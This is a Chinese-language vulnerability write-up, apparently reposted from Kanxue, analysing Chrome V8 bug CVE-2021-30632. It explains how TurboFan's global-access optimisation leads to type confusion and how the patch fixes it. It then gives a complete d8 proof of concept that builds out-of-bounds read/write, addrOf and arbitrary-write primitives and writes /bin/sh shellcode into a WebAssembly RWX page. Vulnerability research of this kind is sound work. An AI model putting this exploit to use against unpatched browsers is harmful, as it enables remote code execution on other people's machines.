一
前言
二
背景
编译
# 国内的网络编译会失败,挂VPN也遇到了各种问题。
# 推荐腾讯云上购买新加坡服务器2core 2G 39元一个月,编译一路丝滑。
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=/path/to/depot_tools:$PATH
mkdir ~/v8
cd ~/v8
fetch v8
cd v8
# 漏洞补丁前一笔提交
git checkout 632e6e71c5f
gclient sync
alias gm=/path/to/v8/tools/dev/gm.py
gm x64.release
gm x64.debug
# test
./out/x64.release/d8 --help
调试
# 引入v8 gdb 调试支持,可以在gdb中使用job等命令查看v8对象
cp ./tools/gdbinit ~/.gdbinit
gdb ./out/x64.release/d8
JS对象在v8中的内部表示
// this file is test.js
// 执行:./out/x64.release/d8 --allow-natives-syntax ./test.js
// 其中的--allow-natives-syntax 参数作用是让%DebugPrint内置函数生效,它的作用是打印对象的map等调试信息
obj1 = {a: "foo", b: "bar"};
obj2 = ["foo", "bar"];
%DebugPrint(obj1);
%DebugPrint(obj2);
map的迁移
最终的map3不再迁移到其他map,它有一个属性取值为stable,map0-map2为not stable。
var a = {a: "111", b:"111" };
var b = {a: "222", b:"222" };
var c = {a: "333", b:"333" };
// this file is test.js
// 执行:./out/x64.release/d8 --allow-natives-syntax ./test.js
a = {x:'a'};
b = {x:'b'};
c = {x:'c'};
a.y = 'a';
console.log('a=====================');
%DebugPrint(a);
console.log('b=====================');
%DebugPrint(b);
console.log('c=====================');
%DebugPrint(c);
三
Ignition 和 TurboFan
执行多次的字节码被标记为热点代码,将触发优化,此时由TurboFan将字节码优化编译;过往执行中记录的数据将参与优化过程,并预测将来的的执行也将是这样。这样做得优点是,执行快,编译会消耗大量的时间,适用于循环等多次执行的函数。在执行时,跟预测不符,将触发解优化(deoptimize)。
举例说明:
function store(y) {
x = y;
}
var x = 0;
var y = 1;
var z = 2;
for (let i = 0; i < 200000; i++) store(y);
store(y);
store(z);
// ./out/x64.release/d8 --trace-opt --trace-deopt this.js
[marking 0x23f60815326d <JSFunction (sfi = 0x23f6081530a1)> for optimized recompilation, reason: hot and stable]
[compiling method 0x23f60815326d <JSFunction (sfi = 0x23f6081530a1)> (target TURBOFAN) using TurboFan OSR]
[optimizing 0x23f60815326d <JSFunction (sfi = 0x23f6081530a1)> (target TURBOFAN) - took 0.201, 0.631, 0.033 ms]
[bailout (kind: deopt-soft, reason: Insufficient type feedback for call): begin. deoptimizing 0x23f60815326d <JSFunction (sfi = 0x23f6081530a1)>, opt id 0, bytecode offset 68, deopt exit 3, FP to SP delta 88, caller SP 0x7fff2bce2978, pc 0x23f600044202]
在第11行store(z),由于z和y的值不同,store(z)将无法继续使用参照store(y)优化之后的代码给x赋值1,于是触发了解优化,退化为bytecode执行,给x赋值2。
四
TurboFan对全局变量访问的优化分析
函数,这个函数的作用是TurboFan对全局变量存取的优化。
enum class PropertyCellType {
kMutable, // Cell will no longer be tracked as constant.
kUndefined, // The PREMONOMORPHIC of property cells.
kConstant, // Cell has been assigned only once.
kConstantType, // Cell has been assigned only one type.
// Value for dictionaries not holding cells, must be 0:
kNoCell = kMutable,
};
/*
PropertyCellType 定义了JS的类型,下面举例说明。
*/
var x = {a : 1}; //Constant,x第一次赋值
x = {a :2}; //ConstantType,x被赋值为相同类型
x.b = 2; //ConstantType,x没有被赋值,仅修改它的属性,因此不改变类型
x = 2; //kMutable,x被赋值为int,而非object,因此为kMutable
Reduction JSNativeContextSpecialization::ReduceGlobalAccess() {
...
DCHECK_EQ(AccessMode::kStore, access_mode); // 3
switch (property_details.cell_type()) { // 4
...
case PropertyCellType::kConstantType: { // 6
dependencies()->DependOnGlobalProperty(property_cell); // 7
...
if (property_cell_value_map.is_stable()) {
dependencies()->DependOnStableMap(property_cell_value_map); // 10
}
effect = graph()->NewNode(
simplified()->CheckMaps( // 13
CheckMapsFlag::kNone,
ZoneHandleSet(property_cell_value_map.object())),
value, effect, control);
...
}
第4行,判断全局变量的PropertyCellType。
第6行,当类型为PropertyCellType::kConstantType。
第7行,表示当前的优化依赖于属性的类型,如果属性类型发生了变化,那么将解优化。
第10行,表示如果属性的Map是stable,那么stable属性发生变化之后,那么将解优化。
第13行,表示store操作Map必须和前面保持一致,调用store时Map变化了,那么将解优化。
// 全局变量属性的类型发生变化
x = {value:"x"};
y = {value:"y"};
z = [1,2,3]
function store(y) {
x = y;
}
// PrepareFunctionForOptimization OptimizeFunctionOnNextCall内置函数实现优化
%PrepareFunctionForOptimization(store);
store(y);
%OptimizeFunctionOnNextCall(store);
store(y);
store(y);
// property_cell 类型发生变化,JS类型从object变成了array,因此解优化
x = z;
// ./out/x64.release/d8 --trace-opt --trace-deopt --allow-natives-syntax this.js
// 得到下面输出:
// [marking dependent code 0x2c3f00044001 (0x2c3f08153141 ) (opt id 0) for deoptimization, reason: prototype-check]
// 全局变量Map由stable变为not stable
x = {value:"x"};
y = {value:"y"};
function store(y) {
x = y;
}
%PrepareFunctionForOptimization(store);
store(y);
%OptimizeFunctionOnNextCall(store);
store(y);
store(y);
// x 和 y 有相同MapA, stable
// y执行下面代码以后,拥有MapB, stable。x变为MapA not stale。因此解优化。
y.new_value = "y";
// ./out/x64.release/d8 --trace-opt --trace-deopt --allow-natives-syntax this.js
// 得到下面输出
// [marking dependent code 0x3c5600044001 (0x3c5608153141 ) (opt id 0) for deoptimization, reason: prototype-check]
// 传入store参数的Map和前面不一致
x = {value:"x"};
y = {value:"y"};
z = {value1:"z", value2:"z"};
function store(y) {
x = y;
}
%PrepareFunctionForOptimization(store);
store(y);
%OptimizeFunctionOnNextCall(store);
store(y);
store(y);
store(z); // z的Map和x的Map不一致
// ./out/x64.release/d8 --trace-opt --trace-deopt --allow-natives-syntax this.js
// 得到下面输出
// [bailout (kind: deopt-eager, reason: wrong map): begin. deoptimizing 0x0f6a08153375 <JSFunction store (sfi = 0xf6a08153161)>, opt id 0, bytecode offset 2, deopt exit 1, FP to SP delta 32, caller SP 0x7ffd634e5b40, pc 0x0f6a00044145]
Reduction JSNativeContextSpecialization::ReduceGlobalAccess()
{
...
if (access_mode == AccessMode::kLoad || access_mode == AccessMode::kHas) { // 4
...
if (property_details.cell_type() == PropertyCellType::kConstantType) { // 6
...
if (property_cell_value_map.is_stable()) { // 8
dependencies()->DependOnStableMap(property_cell_value_map);
map = property_cell_value_map.object();
}
...
}
...
}
...
}
第6行,表示全局变量为kConstantType类型。
第8行,表示当全局变量的Map为stable时,不能修改它的Map,否则解优化。
也举例说明下:
// 优化时刻MapA为Stable,后面修改MapA为MapB
x = {value:"x"};
y = {value:"y"}; // x,y MapA stable
function load() {
return x['value']
}
//y.new_value = '11'; // line 10
%PrepareFunctionForOptimization(load);
load();
%OptimizeFunctionOnNextCall(load);
load(); // 优化时x为MapA stable
load();
x.new_value = '11'; // x 变为MapB,解优化 line 20
// // ./out/x64.release/d8 --trace-opt --trace-deopt --allow-natives-syntax this.js
// 得到下面输出
// [marking dependent code 0x1e2900044001 (0x1e2908153151 ) (opt id 0) for deoptimization, reason: prototype-check]
store:
五
类型混淆如何产生
function store(y) {
x = y;
}
function load() {
return x.b;
}
var x = {a : 1};
var x1 = {a : 2};
var x2 = {a : 3};
var x3 = {a : 4}; // all has mapA, stable
%PrepareFunctionForOptimization(store);
store(x2);
x1.b = 1; // x1 has mapB, stable
// x x2 x3 has mapA, not stable
%OptimizeFunctionOnNextCall(store);
store(x2); // optimizatiin,x has MapA in store
// x此时为 mapA, not stable。执行x.b=3。将变为MapB,stable
// 无法命中store解优化的个条件,因此store不会解优化
/*
1. 全局变量属性的类型发生变化
2. 全局变量Map由stable变为not stable
3. 传入store参数的Map和前面不一致
不命中:
4. 回顾前面,需要通过"="赋值才会触发PropertyCellType类型修改。不命中。
5. 由not stable变为stable并非stable变为not stable。不命中。
6. 并非调用优化函数,而是对x的属性做修改,不命中。
*/
x.b = 3; // x MapB stable
%PrepareFunctionForOptimization(load);
load(); // x has mapB
%OptimizeFunctionOnNextCall(load);
load(); // x has mapB in load
/*
用jit打败jit的精髓之处就在这里了。:)
此时x为 MapB stable,x3为MapA not stable。
回顾上面解优化条件:
store:
1. 全局变量属性的类型发生变化。不命中。
2. 全局变量Map由stable变为not stable。命中。
3. 传入store参数的Map和前面不一致。x3 x2均为MapA,不命中。
load:
4. 优化时刻MapA为Stable,后面修改MapA为MapB。命中。
总结起来看,store(x3)命中store解优化条件2和load解优化条件1。那么第51行代码应该触发store和load解优化。然而实际情况是没有发生任何解优化,x3按照优化代码的逻辑赋值给了x,x变为MapA not stable.
为什么没有解优化呢?原因是所有的解优化条件对于已经优化的代码store是不生效的,只对没有编译的bytecode生效。
用jit打败jit,用魔法打败魔法。:)
*/
store(x3);
// x 此时真实为MapA, not stable。而load优化的代码中,x为MapB stable,类型混淆,执行56行将导致crash。
%DebugPrint(load());
function store(y) {
x = y;
}
function load() {
return x.b;
}
var x = {a : 1};
var x1 = {a : 2};
var x2 = {a : 3};
var x3 = {a : 4};
%PrepareFunctionForOptimization(store);
store(x2);
x1.b = 1;
%OptimizeFunctionOnNextCall(store);
store(x2);
x.b = 3;
%PrepareFunctionForOptimization(load);
load();
%OptimizeFunctionOnNextCall(load);
load();
store(x3);
console.log("x=================");
%DebugPrint(x);
console.log("x1=================");
%DebugPrint(x1);
console.log("x3=================");
%DebugPrint(x3);
%DebugPrint(load());
// ./out/x64.release/d8 --print-opt-code --trace-opt --trace-deopt --allow-natives-syntax this.js
/*
x 和 x3为相同的MapA not stable,如下:
DebugPrint: 0x183008049a71: [JS_OBJECT_TYPE]
- map: 0x183008187961 <Map(HOLEY_ELEMENTS)> [FastProperties]
...
}
0x183008187961: [Map]
- type: JS_OBJECT_TYPE
...
x1为MapB stable,如下:
DebugPrint: 0x183008049a51: [JS_OBJECT_TYPE]
- map: 0x183008187989 <Map(HOLEY_ELEMENTS)> [FastProperties]
...
}
0x183008187989: [Map]
- type: JS_OBJECT_TYPE
- stable_map
MapA 的地址为0x183008187961
MapB 的地址为0x183008187989,结合前面的分析,x在store中的优化代码中预设为MapA,在load中预设为MapB。查看它们对应的汇编,符合预期。
store:
...
REX.W movq rcx,0x1830081535f5 ;; object: 0x1830081535f5 <PropertyCell name=0x183008153061 <String[1]: #x> value=0x183008049a61 <Object map = 0x183008187961>>
...
load:
...
REX.W movq rdx,0x1830081535f5 ;; object: 0x1830081535f5 <PropertyCell name=0x183008153061 <String[1]: #x> value=0x183008049a61 <Object map = 0x183008187989>>
...
*/
六
补丁如何修复漏洞
1.全局变量必须是stable才会进行优化。
2.store优化后,如果map变为not stable,将解优化。
七
利用混淆实现RCE
类型混淆
function foo(y) {
x = y;
}
function oobRead() {
//b[0] and addrOf writeArr::elements
return [x[20],x[24]];
}
function oobWrite(addr) {
x[24] = addr;
}
var arr0 = new Array(10); arr0.fill(1);arr0.a = 1;
var arr1 = new Array(10); arr1.fill(2);arr1.a = 1;
var arr2 = new Array(10); arr2.fill(3); arr2.a = 1;
var x = arr0;
var arr = new Array(30); arr.fill(4); arr.a = 1;
var b = new Array(1); b.fill(1);
var writeArr = [1.1];
%PrepareFunctionForOptimization(foo);
foo(arr1);
arr2[0] = 1.1;
%OptimizeFunctionOnNextCall(foo);
foo(arr1);
x[0] = 1.1;
%PrepareFunctionForOptimization(oobRead);
oobRead();
%OptimizeFunctionOnNextCall(oobRead);
oobRead();
%PrepareFunctionForOptimization(oobWrite);
oobWrite(1.1);
%OptimizeFunctionOnNextCall(oobWrite);
oobWrite(1.1);
foo(arr);
通过调用oobWrite, oobRead可以实现越界读写。
堆风水
var arr = new Array(30); arr.fill(4); arr.a = 1;
var b = new Array(1); b.fill(1);
var writeArr = [1.1];
获取对象地址
b[0] = obj; // b[0]中存放了obj的地址
function oobRead() {
return [x[20],x[24]];
}
// x[20] 可以获取对象的地址
function addrOf(obj) {
b[0] = obj;
let addrs = oobRead();
dblArr[0] = addrs[0];
return intView[1];
}
var instanceAddr = addrOf(instance);
任意地址读
function oobWrite(addr) {
x[24] = addr;
}
function oobRead() {
return [x[20],x[24]];
}
var addrs = oobRead();
function arbRead(addr) {
[elements, addr1] = ftoi32(addrs[1]);// addrs[1] :x[24]
// 修改writeArr数组指针低32位,指向addr代表的任意地址
oobWrite(i32tof(addr,addr1));
// 读addr指向的内存
return writeArr[0];
}
任意地址写
function writeShellCode(rwxAddr, shellArr) {
var intArr = new Uint8Array(400);
// 获取intArr对象地址intArrAddr
var intArrAddr = addrOf(intArr);
//var intBackingStore = ftoi(arbRead(intArrAddr + 0x20));
// intArrAddr + 0x20 为Uint8Array数组指针所在的地址
[elements, addr1] = ftoi32(addrs[1]);
oobWrite(i32tof(intArrAddr + 0x20, addr1));
// 修改Uint8Array数组指针为rwxAddr
writeArr[0] = rwxAddr;
for (let i = 0; i < shellArr.length; i++) {
// 往rwxAddr地址处写shellArr
intArr[i] = shellArr[i];
}
}
完整d8 POC
var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module);
var main = instance.exports.main;
function foo(y) {
x = y;
}
function oobRead() {
return [x[20],x[24]];
}
function oobWrite(addr) {
x[24] = addr;
}
var arr0 = new Array(10); arr0.fill(1);arr0.a = 1;
var arr1 = new Array(10); arr1.fill(2);arr1.a = 1;
var arr2 = new Array(10); arr2.fill(3); arr2.a = 1;
var x = arr0;
var arr = new Array(30); arr.fill(4); arr.a = 1;
var b = new Array(1); b.fill(1);
var writeArr = [1.1];
%PrepareFunctionForOptimization(foo);
foo(arr1);
arr2[0] = 1.1;
%OptimizeFunctionOnNextCall(foo);
foo(arr1);
x[0] = 1.1;
%PrepareFunctionForOptimization(oobRead);
oobRead();
%OptimizeFunctionOnNextCall(oobRead);
oobRead();
%PrepareFunctionForOptimization(oobWrite);
oobWrite(1.1);
%OptimizeFunctionOnNextCall(oobWrite);
oobWrite(1.1);
foo(arr);
var view = new ArrayBuffer(24);
var dblArr = new Float64Array(view);
var intView = new Int32Array(view);
var bigIntView = new BigInt64Array(view);
b[0] = instance;
var addrs = oobRead();
console.log("addrs: " + ftoi32(addrs[0])[0].toString(16) + " " + ftoi32(addrs[0])[1].toString(16)
+ " " + ftoi32(addrs[1])[0].toString(16) + " " + ftoi32(addrs[1])[1].toString(16));
function ftoi32(f) {
dblArr[0] = f;
return [intView[0], intView[1]];
}
function i32tof(i1, i2) {
intView[0] = i1;
intView[1] = i2;
return dblArr[0];
}
function itof(i) {
bigIntView = BigInt(i);
return dblArr[0];
}
function ftoi(f) {
dblArr[0] = f;
return bigIntView[0];
}
dblArr[0] = addrs[0];
dblArr[1] = addrs[1];
function addrOf(obj) {
b[0] = obj;
let addrs = oobRead();
dblArr[0] = addrs[0];
return intView[1];
}
function arbRead(addr) {
[elements, addr1] = ftoi32(addrs[1]);
oobWrite(i32tof(addr,addr1));
return writeArr[0];
}
function writeShellCode(rwxAddr, shellArr) {
var intArr = new Uint8Array(400);
var intArrAddr = addrOf(intArr);
//var intBackingStore = ftoi(arbRead(intArrAddr + 0x20));
[elements, addr1] = ftoi32(addrs[1]);
oobWrite(i32tof(intArrAddr + 0x20, addr1));
writeArr[0] = rwxAddr;
for (let i = 0; i < shellArr.length; i++) {
intArr[i] = shellArr[i];
}
}
var instanceAddr = addrOf(instance);
var elementsAddr = ftoi32(addrs[1])[0];
console.log("instance: " + instanceAddr.toString(16));
console.log("elements: " + elementsAddr.toString(16));
var rwxAddr = arbRead(instanceAddr + 0x60);
console.log("rwx page address: " + ftoi(rwxAddr).toString(16));
var shellCode = [0x31, /*0x31,*/ 0xf6, 0x31, 0xd2, 0x31, 0xc0, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x56, 0x53, 0x54, 0x5f, 0xb8, 0x3b, 0, 0, 0, 0xf, 0x5];
writeShellCode(rwxAddr, shellCode);
main();
参考
属性访问:https://v8.dev/blog/fast-properties
看雪ID:coolboyme
https://bbs.kanxue.com/user-home-492418.htm
# 往期推荐
2、Glibc-2.35下对tls_dtor_list的利用详解
球分享
球点赞
球在看
点击阅读原文查看更多
原文始发于微信公众号(看雪学苑):Chrome v8漏洞 CVE-2021-30632浅析